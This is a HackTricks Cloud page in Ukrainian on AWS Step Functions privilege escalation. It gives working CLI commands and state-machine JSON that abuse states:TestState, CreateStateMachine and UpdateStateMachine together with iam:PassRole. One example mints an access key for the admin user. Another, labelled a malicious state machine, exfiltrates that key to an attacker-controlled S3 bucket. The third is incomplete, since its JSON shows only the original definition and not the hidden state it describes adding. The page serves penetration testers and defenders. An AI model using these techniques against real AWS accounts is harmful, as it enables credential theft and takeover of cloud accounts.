AWS - Step Functions Privesc
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Step Functions
Для отримання додаткової інформації про цей сервіс AWS перегляньте:
Ресурси завдань
Ці техніки ескалації привілеїв вимагатимуть використання деяких ресурсів AWS Step Functions для виконання потрібних дій з підвищення привілеїв.
Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку хочете використати, і подивитися параметри, які вона використовує, як на прикладі:

Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії:
states:TestState & iam:PassRole
Зловмисник, який має дозволи states:TestState та iam:PassRole, може тестувати будь-який state і передавати будь-яку IAM роль до нього без створення або оновлення існуючого state machine, що потенційно дозволяє несанкціонований доступ до інших AWS сервісів з правами, що надаються роллю. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій: від маніпуляцій робочими потоками і зміни даних до витоків даних, маніпуляції ресурсами та ескалації привілеїв.
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Наступні приклади показують, як протестувати стан, який створює access key для користувача admin, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має бути пов'язана з будь-якою політикою з високими привілеями (наприклад arn:aws:iam::aws:policy/AdministratorAccess), яка дозволяє стану виконати дію iam:CreateAccessKey:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Команда виконана для проведення privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Потенційний вплив: Несанкціоноване виконання та маніпуляція робочими процесами й доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Атакуючий з правами states:CreateStateMachine та iam:PassRole може створити машину станів (state machine) і призначити їй будь-який IAM role, що дозволить несанкціонований доступ до інших сервісів AWS з повноваженнями цієї ролі. На відміну від попередньої privesc technique (states:TestState & iam:PassRole), ця техніка не виконується сама по собі — вам також потрібні дозволи states:StartExecution або states:StartSyncExecution (states:StartSyncExecution не доступний для standard workflows, лише для express state machines), щоб запустити виконання машини станів.
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Наступні приклади показують, як створити state machine, яка створює access key для користувача admin та ексфільтрує цей access key у S3 bucket, контрольований атакуючим, використовуючи ці дозволи та permissive role в середовищі AWS. Ця permissive роль повинна мати будь-яку високо-привілейовану політику, пов'язану з нею (наприклад arn:aws:iam::aws:policy/AdministratorAccess), яка дозволяє state machine виконувати дії iam:CreateAccessKey та s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Команда, виконана для створення машини станів:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Команда виконана для запуску виконання раніше створеної машини станів:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
Бакет S3, контрольований атакуючим, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви.
Можливий вплив: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.
states:UpdateStateMachine & (не завжди потрібний) iam:PassRole
Атакуюча особа з дозволом states:UpdateStateMachine може змінити визначення state machine, додавши приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання state machine, цей новий шкідливий прихований стан буде виконано і ескалація привілеїв відбудеться успішно.
Залежно від того, наскільки широкі права має IAM Role, пов'язана зі state machine, атакуючий опиниться в одній із двох ситуацій:
- З широкими правами IAM Role: Якщо IAM Role, пов'язана зі state machine, вже має широкі права (наприклад, до неї приєднана політика
arn:aws:iam::aws:policy/AdministratorAccess), то дозвілiam:PassRoleне потрібен для ескалації привілеїв, оскільки не потрібно також оновлювати IAM Role — достатньо змінити визначення state machine. - IAM Role без широких прав: На відміну від попереднього випадку, тут атакуючому також знадобиться дозвіл
iam:PassRole, оскільки буде необхідно асоціювати до state machine більш дозволену IAM Role, на додачу до зміни визначення state machine.
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Наведені приклади показують, як оновити легітимну state machine, яка лише викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача unprivilegedUser до IAM Group administrator. Таким чином, коли легітимний користувач запускає виконання оновленої state machine, цей новий прихований шкідливий стан виконається й ескалація привілеїв буде успішною.
warning
Якщо state machine не має пов’язаної IAM Role з широкими правами, також буде необхідний дозвіл iam:PassRole для оновлення IAM Role, щоб асоціювати роль з широкими правами (наприклад роль з приєднаною політикою arn:aws:iam::aws:policy/AdministratorAccess).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Команда, виконана для оновлення легітимної машини станів:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potential Impact: Несанкціоноване виконання та маніпулювання робочими процесами й доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud